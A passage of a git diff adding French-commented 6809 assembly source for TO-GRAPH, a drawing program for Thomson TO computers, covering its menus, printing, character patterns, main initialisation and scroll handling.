+ LBRA EXECM1 ->
+
+* Fin menu motif avec sélection
+*---------------------------------------
+
+XRMOT EQU *
+ LDX #CARMOT
+ LEAY MOTTRA,S
+BCOPM3 LDD ,Y++
+ STD ,X++
+ CMPX #MOTIF
+ BNE BCOPM3 ->
+
+ CLRB
+ JSR FENFER
+ JSR AFFOPT visu. nouv. mot.
+ JSR FENACT
+ CLRB
+ BRA XMRET0 ->
+ RTS
+
+* Fin menu motif sans sélection
+*---------------------------------------
+
+XMRETZ CLRB
+XMRET PSHS B
+ CLRB
+ JSR FENFER
+ JSR FENACT
+ PULS B
+XMRET0 LEAS 18,S
+ RTS
+
+
+*=======================================
+* S/P menu déroulant de gestion impress.
+*
+* Sortie: B code menu principal sélect.
+*=======================================
+
+SPIMPR EQU *
+ LEAS -2,S
+ADFSOV SET 0
+*---------------------------------------
+
+ JSR FENDES pour cadrage
+ JSR SAUVE éventuel
+ LDD <ADF
+ STD ADFSOV,S
+
+ LDX #FIMPR
+ LDD #$0231
+ JSR FENOUV
+
+ JSR FENACT
+EXECI1 JSR FEN
+ TSTB
+ BEQ EXECI1 ->
+ LDU #PILFEN
+ PSHU CC,D,X,Y
+ CMPB #$45 Ecran
+ LBEQ XIECR ->
+ CMPB #$46 Feuille
+ LBEQ XIFEU ->
+ LDA #$94
+ LDX #XIRET
+ LDY #XIRETZ
+ JSR ABORT
+ CMPU #0
+ BEQ EXECI1 ->
+ JMP ,U
+
+*** Impression Ecran
+XIECR EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDA RGDECR
+ STA CADRNG
+ LDA CLDECR
+ STA CADCOL
+ LDA #23
+ STA CADHAU
+ LDA #74
+ STA CADLAR
+ LDB #OFF pas pleine page
+ JSR IMPPAG
+
+ LDB #$45 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBSR FENACT
+ LBRA EXECI1 ->
+
+*** Impression feuille
+XIFEU EQU *
+ LBSR FENCH Inverser pouss.
+ LBSR FENIVD
+
+ LDA #1 sélection +
+ JSR SPCADR cadrage
+ LBEQ XIFEUF raz->
+ EXG A,B
+
+ LDA CADCOL assure cadrage
+ LSLA horiz.
+ ADDA CADLAR
+ STA CADLAR
+ CLR CADCOL
+ JSR IMPPAG
+
+ CLRB
+ JSR FENFER
+ JSR FENACT
+XIFEUF LDB #$46 Inverser pouss.
+ LBSR FENCH
+ LBSR FENIVD
+ LBRA EXECI1 ->
+
+* Fin menu impression
+*---------------------------------------
+
+XIRETZ CLRB
+XIRET PSHS B
+ CLRB
+ JSR FENFER
+ LDD <ADF
+ CMPD ADFSOV+1,S
+ BEQ XIRET0 ->
+ JSR RESTAU cadrage
+XIRET0 JSR FENACT
+ PULS B
+ LEAS 2,S
+ RTS
+
+
+*=======================================
+* S/P effacement écran courant
+*=======================================
+
+FSELR FCB FLOCF,0,0,4,16
+ FCB FFOND,FTOURE,FCADRE
+ FCB FCOMF,FF,OFF
+ FCB FLOCF,1,1,1,14
+ FCB FEDI,ESC,$4E
+ FCC \RAZT\
+ FCB ESC,$4C
+ FCC \out\
+ FCB 0
+ FCB FPOUSS,$54,OFF
+ FCB FLOCR,1,0,1,14
+ FCB FEDI,ESC,$4E
+ FCC \RAZE\
+ FCB ESC,$4C
+ FCC \cran\
+ FCB 0
+ FCB FPOUSS,$45,OFF
+ FCB FCALL
+ FDB MENUD
+ FCB FSTOP
+*---------------------------------------
+SPRAZ JSR FENCH
+ LDD RNG,X
+ ADDB #3
+ LEAX FSELR,PCR
+ JSR FENOUV
+ JSR FENACT
+XRAZ0 JSR FEN
+ TSTB
+ BEQ XRAZ0 ->
+ LDU #PILFEN
+ PSHU CC,D,X,Y
+ CMPB #$54
+ BEQ XRAZT ->
+ CMPB #$45
+ BEQ XRAZE ->
+ LDA #$05
+ LDX #FSPRA
+ LDY #FSPRAZ
+ JSR ABORT
+ CMPU #0
+ BEQ XRAZ0 ->
+ JMP ,U
+
+XRAZT JSR FENDES raz feuille
+ JSR FENCH
+ JSR FENIVD
+ JSR RAZF
+
+XRAZE CLRB raz écran
+ JSR FENFER
+ JSR RAZE
+ JSR FENACT
+ RTS
+
+FSPRAZ CLRB
+FSPRA PSHS B
+ CLRB
+ JSR FENFER
+ JSR FENACT
+ PULS B,PC
+
+
+*=======================================
+* S/P restaure écran à partir de la
+* zone de travail
+*=======================================
+
+RESTAU EQU *
+ CLRB
+ JSR FEUECR
+ INCB
+ JSR FEUECR
+ RTS
+
+
+*=======================================
+* S/P sauvegarde écran dans la zone
+* de travail
+*=======================================
+
+SAUVE EQU *
+ CLRB
+ JSR ECRFEU
+ INCB
+ JSR ECRFEU
+ RTS
+
+
+*=======================================
+* S/P visualisation du motif courant en
+* fenêtre de travail
+*
+* Entrée : Y pointe motif
+*=======================================
+
+VISMOO PSHS D,X,Y
+ BRA VISMO0 ->
+VISMOT PSHS D,X,Y
+PD SET 0
+PX SET 2
+PY SET 4
+*---------------------------------------
+
+ LDB #254
+ JSR FENCH
+ LDD RNG,X
+ JSR LPMOTI
+
+VISMO0 LDD #$020F
+ LDY #$0202
+ JSR FENLOF
+ LDY PY,S
+ JSR AF4MOT
+ PULS D,X,Y,PC
+
+
+*=======================================
+* S/P extraction du motif d'un caractère
+* -utilise le drapeau FLGSS2 qui
+* doit être mis à 0 au 1er appel
+* -utilise la table TABG2 des codes
+* G2:
+* rang = code pour générateur
+* PTGENE (96,97,...)
+* si b7=> superposition
+* fin = 0
+*
+* Entrée : B caractère lu au clavier
+* Y pointe motif à générer
+* Sortie : CY 1 si motif modifié
+* 0 sinon (SS2)
+*=======================================
+
+TABG2 FDB $CB23,$2426,$2C2D,$2E2F
+ FDB $3031,$383C,$3D3E,$C1C2
+ FDB $C3C8,$6A7A,$7B00
+
+XTRMOT PSHS D,X,Y
+*---------------------------------------
+
+ TST FLGSS2
+ BEQ XTRM50 ->
+ LDA FLGSS2
+ CMPA #SS2
+ BNE XTRM30 superposition ->
+ LEAX TABG2,PCR car. suivant SS2
+ LDA #95
+XTRM21 INCA
+ TST ,X
+ BEQ XTRM50 inconnu ->
+ CMPB ,X
+ BEQ XTRM24 trouvé normal ->
+ ORB #$80
+ CMPB ,X
+ BEQ XTRM22 trouvé superpos>
+ ANDB #$7F
+ LEAX 1,X
+ BRA XTRM21 ->
+
+XTRM22 STA FLGSS2 accent ...
+ TFR A,B
+ ANDB #$7F
+ LDA #8 renseigner motif
+ MUL sans visu.
+ LDX PTGENE
+ LEAX D,X
+ LDB #8
+XTRM23 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE XTRM23 ->
+ ANDCC #$FE
+ LBRA XTRMF ->
+
+XTRM24 CLR FLGSS2 car. G2
+ TFR A,B
+ BRA XTRM90 ->
+
+XTRM30 EQU * lettre accentuée
+ CLR FLGSS2 ->superposer
+ SUBB #$20
+ BCS XTRMRZ ->
+ CMPB #$96
+ BCC XTRMRZ ->
+ LDA #8
+ MUL
+ LDX PTGENE
+ LEAX D,X
+ LDB #8
+XTRM31 LDA ,Y
+ ORA ,X+
+ STA ,Y+
+ DECB
+ BNE XTRM31 ->
+ ORCC #1
+ BRA XTRMF ->
+
+XTRM50 CMPB #SS2
+ BNE XTRM80 ->
+ STB FLGSS2
+XTRMRZ ANDCC #$FE
+ BRA XTRMF ->
+
+XTRM80 CLR FLGSS2
+ SUBB #$20
+ BCS XTRMRZ ->
+ CMPB #$96
+ BCC XTRMRZ ->
+
+XTRM90 LDA #8 renseigner motif
+ MUL
+ LDX PTGENE
+ LEAX D,X
+ LDB #8
+XTRM91 LDA ,X+
+ STA ,Y+
+ DECB
+ BNE XTRM91 ->
+ ORCC #1
+
+XTRMF PULS D,X,Y,PC
diff --git a/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-PR.ASM b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-PR.ASM
new file mode 100755
index 0000000..4e3affa
--- /dev/null
+++ b/code/3rdparty/sources5-hmel/TO-GRAPH/GRAPH-PR.ASM
@@ -0,0 +1,1039 @@
+ TITLE TO-GRAPH: Programme princ.
+* ---------------------------------
+ PAGE
+
+****************************************
+* *
+* TO-GRAPH *
+* *
+* Programme principal *
+* *
+****************************************
+
+DEBUT EQU *
+
+* Initialisations
+*---------------------------------------
+
+* Pile
+ LDS #PILE
+
+* Initialisation DOS sur zone réservée
+* (5 disques 2 fichiers)
+ LDD #$7000
+ STD SECBUF
+ ADDD #256
+ STD FATPTR
+ LDA #5
+ LDB #166
+ MUL
+ ADDD FATPTR
+ TFR D,X
+ LDY #5
+ LDA #2
+ LDB #FCBINI
+ JSR EXTRA
+
+* DP sur zone tiroir (rapidité max !!!)
+ LDD #MANTIR
+ TFR A,DP
+
+* Vérification RAM disponible
+ LDA MAXBK
+ DECA ->nb bank disp.
+ CMPA #11
+ BGE OKRAM ->
+ LDB #FF 'Out of memory'
+ JSR PUTC
+ LDX #MOUT
+BOUT LDB ,X+
+ BEQ BOUT1
+ JSR PUTC
+ BRA BOUT ->
+BOUT1 JSR GETC
+ TSTB
+ BEQ BOUT1 ->
+ JMP MENU ->>>>>>
+
+* Car. utilisateurs
+OKRAM LDD #CARUSR
+ STD USERAF
+
+* Outil courant
+ LDA #POINTS
+ STA OUTIL
+ LDA #1
+ STA TLIGN
+ LDA #TCN
+ STA TCAR
+
+* Etat courant de l'outil
+ LDA #POINTE
+ STA ETAOUT
+ CLR COPALB pas copie album
+
+* Tortue standard
+ LDA #$FF
+ STA STDTOR
+
+* Motif courant
+ LDX #CARMOT damier
+ LDY #MOTREM
+ LEAY 8*13,Y
+BRZMOT LDA ,Y+
+ STA ,X+
+ CMPX #MOTIF
+ BNE BRZMOT ->
+ LDB #$FF plein
+BFFMOT STB ,X+
+ CMPX #PLEIN
+ BNE BFFMOT ->
+
+* Visualisation
+ LDB #RESETW
+ JSR EXTRA
+
+ LDB #ESC 80 col
+ JSR PUTC
+ LDB #$5B
+ JSR PUTC
+
+ LDD MEMC0
+ CMPD #$FFFF
+ BNE SUIXY0 ->
+ LDA $E7E6 autorise écritur
+ ORA #$40 cartouche
+ STA $E7E6
+ LDA #0 mémo coul. 0
+ LDX #$FFFF
+ LDY #0
+ JSR SETP
+ STX MEMC0
+ LDA #1 mémo coul. 1
+ LDX #$FFFF
+ LDY #0
+ JSR SETP
+ STX MEMC1
+ LDA $E7E6 interdit écritur
+ ANDA #$BF cartouche
+ STA $E7E6
+
+ LDA #1 nouv coul. 1
+ LDX #0
+ LDY MEMC0
+ JSR SETP
+ LDA #8 nouv.coul. 0
+ LDX #$FFFF
+ LDY #0
+ JSR SETP
+ LDA #0
+ TFR X,Y
+ LDX #0
+ JSR SETP
+ BRA SUIXY0 ->
+
+MEMC0 FDB $FFFF mémo palette
+MEMC1 FDB $FFFF
+
+* Bank RAM
+SUIXY0 LDA #BKTIR
+ STA BANKC
+
+* Pas de tiroir ni de loupe ni d'album
+* courant ni de dessin courant
+ CLR FLGTIR
+ CLR FLGLOU
+ LDD #0
+ STD ALBCOU
+ STD DESCOU
+ STD DESCOU+2
+ STD DESCOU+4
+ STD DESCOU+6
+
+* Coefficient réel de passage point
+* écran -> point imprimante
+ LDX #ASCCOE
+ LDY #ZONTRA
+BVERRA LDA ,X+
+ STA ,Y+
+ BNE BVERRA ->
+ LDY #ZONTRA
+ LDB #EXTFIN
+ JSR EXTRA
+ LDX #COEFMU
+ LDB #MOVMF
+ JSR EXTRA
+
+* Tortue du mode caractère
+ LDY #TORTXT
+ LDB #INITOR
+ JSR EXTRA
+ CLR TXTX+2
+ CLR TXTY+2
+ CLR FLGTXT
+ CLR CLITXT
+
+* Position de l'écran dans la feuille et
+* déplacement de celle-ci dans ses banks
+ LDD #0
+ STD <ADF
+ CLR <CLDECR
+ CLR <RGDECR
+
+* Chien de garde par IT timer
+ JSR INIDOG
+
+* Fenêtrage
+ LDX #ZONFEN
+ LDA #PBKPIL
+ LDB #DBKPIL
+ TFR D,U
+ LDA #NOIR
+ LDB #GRIS
+ JSR FENINI
+
+* Activation Fenêtre principale
+*---------------------------------------
+
+ LDX #FENPR
+ LDD #0
+ JSR FENRPL
+
+ JSR AFFOPT Options courantes
+
+ JSR VISASB Visu ascenceurs
+ JSR VISASD
+
+ LDX #FENTIT Titre
+ LDD #$0606
+ JSR FENOUV
+
+ JSR RAZF raz feuille
+ JSR INIALB chargement albums
+
+ CLRB
+ JSR FENFER
+
+ JSR FENACT
+
+* Attente principale
+*---------------------------------------
+
+EXEC1 LDU #PILFEN mémo retour FEN
+ JSR FEN
+ PSHU CC,D,X,Y
+EXEC10 CMPB #$90
+ LBEQ XFICH ->
+ CMPB #$91
+ LBEQ XTIROI ->
+ CMPB #$92
+ LBEQ XCADRA ->
+ CMPB #$93
+ LBEQ XALBU ->
+ CMPB #$94
+ LBEQ XIMPR ->
+ CMPB #$98
+ LBEQ XALBUF ->
+ CMPB #$0F
+ LBEQ XOUTI ->
+ CMPB #$10
+ LBEQ XMOTI ->
+ CMPB #$14
+ LBEQ XCTLIG ->
+ CMPB #$15
+ LBEQ XCTCAR ->
+ CMPB #$05
+ LBEQ XRAZ ->
+ CMPB #$11
+ LBEQ XRET ->
+ CMPB #BS
+ LBEQ XSCG ->
+ CMPB #HT
+ LBEQ XSCD ->
+ CMPB #VT
+ LBEQ XSCH ->
+ CMPB #LF
+ LBEQ XSCB ->
+ CMPB #$80+BS
+ LBEQ XPG ->
+ CMPB #$80+HT
+ LBEQ XPD ->
+ CMPB #$80+VT
+ LBEQ XPH ->
+ CMPB #$80+LF
+ LBEQ XPB ->
+ CMPB #INS
+ LBEQ XINS ->
+ CMPB #$80
+ LBEQ XASCH ->
+ CMPB #$81
+ LBEQ XASCV ->
+
+***----------------------------------***
+*** Gestion des tracés
+***----------------------------------***
+
+EXEC3 LDA ETAOUT
+ CMPA #POINTE
+ LBNE XTIRE ->
+
+ LDA REGCC #Etat pointage
+ TFR A,CC
+ LBCC EXEC4 pas clic ->
+ LDX #$0104 clic !
+ LDY #$174A
+ JSR SOUDAN
+ LBCC EXEC1 pas dans écran >
+ JSR PTOUT // pointage
+ LBRA EXEC7 ->
+
+EXEC4 LDX #$0104
+ LDY #$174A
+ JSR SOUDAN
+ LBCS EXEC5 dans écran ->
+
+ TST STDTOR -hors écran-----
+ LBNE EXEC7 tortue ok ->
+ JSR FENDES
+ JSR TRAMAX tortue std
+ LDA #$FF
+ STA STDTOR
+ CLRA
+ CLRB
+ JSR FENTOR
+ JSR FENACT
+ LBRA EXEC7 ->
+
+EXEC5 TST STDTOR -dans écran-----
+ LBEQ EXEC7 tortue ok ->
+ JSR FENDES
+ JSR TRAMIN
+ CLR STDTOR
+ LDA OUTIL
+ CMPA #CARACT
+ BEQ EXEC61 ASCII ->
+ CMPA #COLLER
+ BEQ EXEC60 COLLER ->
+ LDX #TORPT pointage
+ LDB #LTORPT -> croix fixe
+ LDA #1
+ JSR FENTOR
+ JSR FENACT
+ LBRA EXEC7 ->
+
+EXEC60 JSR TORCOL tortue fixe
+ BRA EXEC69 selon tiroir
+
+EXEC61 LDB TCAR ASCII
+ SUBB #TCN -> rect. fixe
+ PSHS B
+ LSLB
+ ADDB ,S+
+ LDX #TABTOR
+ ABX
+ LDB 2,X
+ LDX ,X
+ LDA #1
+ JSR FENTOR
+EXEC69 JSR FENACT
+
+EXEC7 LDA OUTIL
+ CMPA #LOUPE
+ LBEQ EXEC80 ->
+ CMPA #CARACT
+ BEQ EXEC75 ->
+ CMPA #COLLER
+ BEQ EXEC71 ->
+ TST COPALB
+ BNE EXEC70 ->
+ LBRA EXEC1 ->
+
+* Copie à partir album
+
+EXEC70 LDA REGCC
+ TFR A,CC
+ BEQ EXEC7A ->
+ LDA REGB
+ CMPA #FF
+ LBNE EXEC1 ->
+EXEC7A JSR RAZOUT fin copie album
+EXEC7B JSR LPIN
+ BEQ EXEC7B ->
+ LBRA EXEC1 ->
+
+* Visu temporaire tiroir
+
+EXEC71 LDA REGCC
+ TFR A,CC
+ LBNE EXEC1 ->
+ JSR TMPTIR
+ LBRA EXEC1 ->
+
+* Visu caractère en dynamique ...
+
+EXEC75 LDX #$0104
+ LDY #$174A
+ JSR SOUDAN
+ LBCC EXEC1 hors écran ->
+ LDB REGB
+ LBEQ EXEC1 ->
+ CMPB #1
+ BNE EXEC8 ->
+ LDX #CARMOT ctA=>motif cour.
+ LDY #TXTMOT
+BCOPT0 LDD ,X++
+ STD ,Y++
+ CMPX #MOTIF
+ BNE BCOPT0 ->
+ BRA EXEC9 ->
+EXEC8 LDY #TXTMOT en mode pointage
+ JSR XTRMOT dynamiquee
+ LBCC EXEC1 ->
+EXEC9 JSR FENDES visu car.
+ LDX REGX
+ LDY REGY
+ JSR EXPCAR
+ JSR FENACT
+ LBRA EXEC1 ->
+
+* Visualisation loupe si déplac.
+
+EXEC80 LDA FLGLOU
+ BEQ EXEC81 ->
+ CMPA #2
+ LBEQ EXEC1 ->
+ TST REGA
+ LBEQ EXEC1 ->
+EXEC81 JSR VISLOU
+ LBRA EXEC1 ->
+
+XTIRE LDA REGCC
+ TFR A,CC
+ BEQ ABANTI abandon ->
+ LDB REGB
+ CMPB #FF
+ BEQ ABANTI abandon ->
+ LDA REGCC
+ TFR A,CC
+ BCS XTIRE6 clic ->
+ LDA OUTIL
+ CMPA #CARACT
+ BEQ XTIRE4 saisie car. ->
+ LDX #$0104 # tracé
+ LDY #$174A
+ JSR SOUDAN
+ LBCC EXEC1 hors écran ->
+ TST REGA
+ BNE XTIRE5 mouvement ->
+ LBRA EXEC1 ->
+XTIRE4 TST REGB # mode caract.
+ LBEQ EXEC1 rien frappé ->
+
+XTIRE5 JSR TIROUT // tracé avant
+ LBRA EXEC1 -> clic
+
+XTIRE6 JSR DESOUT // dessin après
+ LBRA EXEC1 -> clic
+
+ABANTI EQU * abandon
+ LDA COPALB RAZ et clic droi
+ PSHS A ne fait que
+ CLR COPALB abandon partiel
+* si copie album
+ JSR RAZOUT
+ PULS A
+ STA COPALB
+ABANT0 JSR LPIN
+ BEQ ABANT0 ->
+ LBRA EXEC1 ->
+
+
+*** INS = fonction page pour le scroll
+XINS JSR FEN
+ LDU #PILFEN mémo retour FEN
+ PSHU CC,D,X,Y
+ TSTB
+ BEQ XINS ->
+ CMPB #BS
+ LBEQ XPG ->
+ CMPB #HT
+ LBEQ XPD ->
+ CMPB #VT
+ LBEQ XPH ->
+ CMPB #LF
+ LBEQ XPB ->
+ CMPB #RS
+ LBEQ XRS ->
+ CMPB #FF
+ LBEQ XFF ->
+ LBRA EXEC10 ->
+
+*** Sélection taille lignes
+XCTLIG EQU *
+ JSR TRAMAX
+ LDA OUTIL
+ CMPA #CARACT
+ BNE XCTLI0 ->
+ LDA ETAOUT
+ CMPA #TIRE
+ BNE XCTLI0 ->
+ LDX #$0104
+ LDY #$174A
+ JSR SOUDAN
+ BCC XCTLI0 pas dans écran >
+ JSR TRAMIN
+
+XCTLI0 JSR FENDES
+ JSR TRAMIN
+ JSR INVLIG
+ INC TLIGN
+ LDA TLIGN
+ CMPA #4
+ BLT XCTLI1 ->
+ LDA #1
+ STA TLIGN
+XCTLI1 JSR INVLIG
+ JSR TRAMAX
+ JSR AFFOPT
+
+ LBRA XCTCL ->
+
+*** Sélection taille caractères
+XCTCAR EQU *
+ JSR TRAMAX
+ LDA OUTIL
+ CMPA #CARACT
+ BNE XCTCA0 ->
+ LDA ETAOUT
+ CMPA #TIRE
+ BNE XCTCA0 ->
+ LDX #$0104
+ LDY #$174A
+ JSR SOUDAN
+ BCC XCTCA0 pas dans écran >
+ JSR TRAMIN
+
+XCTCA0 JSR FENDES
+ JSR EFFCAR
+ INC TCAR
+ LDA TCAR
+ CMPA #TCDT
+ BLE XCTCA1 ->
+ LDA #TCN
+XCTCA1 STA TCAR
+ JSR AFFCAR
+ JSR TRAMAX
+ JSR AFFOPT
+
+XCTCL LDA OUTIL
+ CMPA #CARACT
+ BNE XCTCA2 ->
+ LDA ETAOUT
+ CMPA #TIRE
+ BEQ XCTCA3 souris std ->
+* BRA XCTCA4 souris car ->
+
+XCTCA2 LDX #$0104
+ LDY #$174A
+ JSR SOUDAN
+ BCS XCTCA4 dans écran ->
+
+XCTCA3 JSR TRAMAX
+ JSR FENACT
+ LBRA EXEC1 ->
+XCTCA4 JSR TRAMIN
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection FICHIER
+XFICH EQU *
+ JSR RAZOUT
+ JSR SPFICH
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+
+*** Sélection TIROIR (F2)
+XTIROI EQU *
+ JSR RAZOUT
+ JSR SPTIRO
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+
+*** Sélection CADRAGE (F3)
+XCADRA EQU *
+ JSR RAZOUT
+ LBSR FENDES
+ LBSR SAUVE
+
+ CLRA
+ JSR SPCADR
+ BNE XCADRX
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+XCADRX CLRB
+ JSR FENFER
+ JSR RESTAU
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection ALBUMS (F4)
+XALBU EQU *
+ LDD ALBCOU
+ BEQ XALBU2 ->
+ LDU #100
+XALBU1 JSR FEN
+ CMPB #$93
+ LBEQ XALBUF double F4 ->
+ LEAU -1,U
+ CMPU #0
+ BNE XALBU1 ->
+
+XALBU2 JSR RAZOUT
+ JSR SPALBU
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+
+*** Sélection IMPRESSION (F5)
+XIMPR EQU *
+ JSR RAZOUT
+ JSR SPIMPR
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+
+*** Sélection OUTILS (ctrl) O
+XOUTI EQU *
+ JSR RAZOUT
+ JSR SPOUTI
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+
+*** Sélection MOTIFS (ctrl) P
+XMOTI EQU *
+ JSR RAZOUT
+ JSR SPMOTI
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+
+*** Sélection EFFACEMENT (DEL)
+XRAZ EQU *
+ PSHS B
+ JSR RAZOUT
+ PULS B
+ JSR SPRAZ
+ TSTB
+ LBEQ EXEC1 ->
+ LBRA EXEC10 ->
+
+*** Sélection RETOUR (ctrl) Q
+XRET EQU *
+ JSR RAZOUT
+ JSR FENDES
+ JSR RESTAU
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection scroll G (BS)
+XSCG EQU *
+ TST FLGTXT
+ LBEQ XSCGS scroll ->
+
+ LDX TXTX mode caractère
+ LEAX -8,X
+ LDA TCAR
+ CMPA #TCN
+ BEQ XSCGT0 ->
+ CMPA #TCDH
+ BEQ XSCGT0 ->
+ LEAX -8,X
+ CMPX #16
+ BLE XSCGT2 ->
+ BRA XSCGT1 ->
+XSCGT0 CMPX #24
+ BLE XSCGT2 ->
+XSCGT1 STX TXTX
+ LBRA VITCAR ->
+XSCGT2 LDB #7
+ JSR PUTC
+ LBRA EXEC1 ->
+
+XSCGS LDA CLDECR
+ LBEQ EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ DEC CLDECR
+ JSR RESTAU
+ JSR VISASB
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection scroll D (HT)
+XSCD EQU *
+ TST FLGTXT
+ LBEQ XSCDS scroll ->
+
+ LDX TXTX mode caractère
+ LEAX 8,X
+ LDA TCAR
+ CMPA #TCN
+ BEQ XSCDT0 ->
+ CMPA #TCDH
+ BEQ XSCDT0 ->
+ LEAX 8,X
+XSCDT0 CMPX #623
+ BCC XSCDT1 ->
+ STX TXTX
+ LBRA VITCAR ->
+XSCDT1 LDB #7
+ JSR PUTC
+ LBRA EXEC1 ->
+
+XSCDS LDA CLDECR
+ CMPA #23
+ LBGE EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ INC CLDECR
+ JSR RESTAU
+ JSR VISASB
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection scroll H (VT)
+XSCH EQU *
+ TST FLGTXT
+ LBEQ XSCHS scroll ->
+
+ LDY TXTY mode caractère
+ LEAY -8,Y
+ LDA TCAR
+ CMPA #TCN
+ BEQ XSCHT0 ->
+ CMPA #TCDL
+ BEQ XSCHT0 ->
+ LEAY -8,Y
+XSCHT0 CMPY #8
+ BLT XSCHT1 ->
+ STY TXTY
+ LBRA VITCAR ->
+XSCHT1 LDB #7
+ JSR PUTC
+ LBRA EXEC1 ->
+
+XSCHS LDA RGDECR
+ LBEQ EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ DEC RGDECR
+ JSR RESTAU
+ JSR VISASD
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection scroll B (LF)
+XSCB EQU *
+ TST FLGTXT
+ LBEQ XSCBS scroll ->
+
+ LDY TXTY mode caractère
+ LEAY 8,Y
+ LDA TCAR
+ CMPA #TCN
+ BEQ XSCBT0 ->
+ CMPA #TCDL
+ BEQ XSCBT0 ->
+ LEAY 8,Y
+ CMPY #207
+ BGE XSCBT2 ->
+ BRA XSCBT1 ->
+XSCBT0 CMPY #199
+ BGE XSCBT2 ->
+XSCBT1 STY TXTY
+ LBRA VITCAR ->
+XSCBT2 LDB #7
+ JSR PUTC
+ LBRA EXEC1 ->
+
+XSCBS LDA RGDECR
+ CMPA #79
+ LBGE EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ INC RGDECR
+ JSR RESTAU
+ JSR VISASD
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection page G (INS+BS)
+XPG EQU *
+ TST FLGTXT
+ LBEQ XPGS scroll ->
+
+ LDX #32 mode caractère
+ STX TXTX
+ LBRA VITCAR ->
+
+XPGS LDA CLDECR
+ LBEQ EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ CLR CLDECR
+ JSR RESTAU
+ JSR VISASB
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection page D (INS+HT)
+XPD EQU *
+ TST FLGTXT
+ LBEQ XPDS scroll ->
+
+ LDX #616 mode caractère
+ LDA TCAR
+ CMPA #TCN
+ BEQ XPDT0 ->
+ CMPA #TCDH
+ BEQ XPDT0 ->
+ LDX #608
+XPDT0 STX TXTX
+ LBRA VITCAR ->
+
+XPDS LDA CLDECR
+ CMPA #23
+ LBGE EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ LDA #23
+ STA CLDECR
+ JSR RESTAU
+ JSR VISASB
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection page H (INS+VT)
+XPH EQU *
+ TST FLGTXT
+ LBEQ XPHS scroll ->
+
+ LDY #15 mode caractère
+ LDA TCAR
+ CMPA #TCN
+ BEQ XPHT0 ->
+ CMPA #TCDL
+ BEQ XPHT0 ->
+ LDY #23
+XPHT0 STY TXTY
+ LBRA VITCAR ->
+
+XPHS LDA RGDECR
+ LBEQ EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ LDA RGDECR
+ SUBA #20
+ BGE XPHS0 ->
+ CLRA
+XPHS0 STA RGDECR
+ JSR RESTAU
+ JSR VISASD
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection page B (INS+LF)
+XPB EQU *
+ TST FLGTXT
+ LBEQ XPBS scroll ->
+
+ LDY #191 mode caractère
+ STY TXTY
+ LBRA VITCAR ->
+
+XPBS LDA RGDECR
+ CMPA #79
+ LBGE EXEC1 au bout ->
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ LDA RGDECR
+ ADDA #20
+ CMPA #79
+ BLE XPBS0 ->
+ LDA #79
+XPBS0 STA RGDECR
+ JSR RESTAU
+ JSR VISASD
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection haut d'écran (ctrl)T
+XRS EQU *
+ TST FLGTXT
+ LBNE EXEC3 mode caract. ->
+
+ TST CLDECR
+ BNE XRRS0 ->
+ TST RGDECR
+ BNE XRRS0 ->
+ LBRA EXEC1 au bout ->
+XRRS0 JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ CLR CLDECR
+ CLR RGDECR
+ JSR RESTAU
+ JSR VISASD
+ JSR VISASB
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Sélection bas d'écran (ctrl)B
+XFF EQU *
+ TST FLGTXT
+ LBNE EXEC3 mode caract. ->
+
+ LDA CLDECR
+ CMPA #23
+ BNE XFFS0 ->
+ LDA RGDECR
+ CMPA #79
+ BNE XFFS0 ->
+ LBRA EXEC1 au bout ->
+XFFS0 JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ LDA #23
+ STA CLDECR
+ LDA #79
+ STA RGDECR
+ JSR RESTAU
+ JSR VISASD
+ JSR VISASB
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Clic dans ascenseur horizontal
+XASCH LDD REGX
+ SUBD #12*8
+ LSRA
+ RORB
+ LSRA
+ RORB
+ LSRB
+ SUBB #15
+ BPL XASCH0 ->
+ CLRB
+XASCH0 CMPB #23
+ BLE XASCH1 ->
+ LDB #23
+XASCH1 CMPB CLDECR
+ LBEQ EXEC1 ->
+ PSHS B
+ JSR RAZOUT
+ JSR FENDES
+ JSR SAUVE
+ PULS B
+ STB CLDECR
+ JSR VISASB
+ JSR RESTAU
+ JSR FENACT
+ LBRA EXEC1 ->
+
+*** Clic dans ascenseur vertical
+XASCV LDD REGY
+ SUBB #4*8
+ LSRB
+ LSRB
+ LSRB
+ SUBB #2
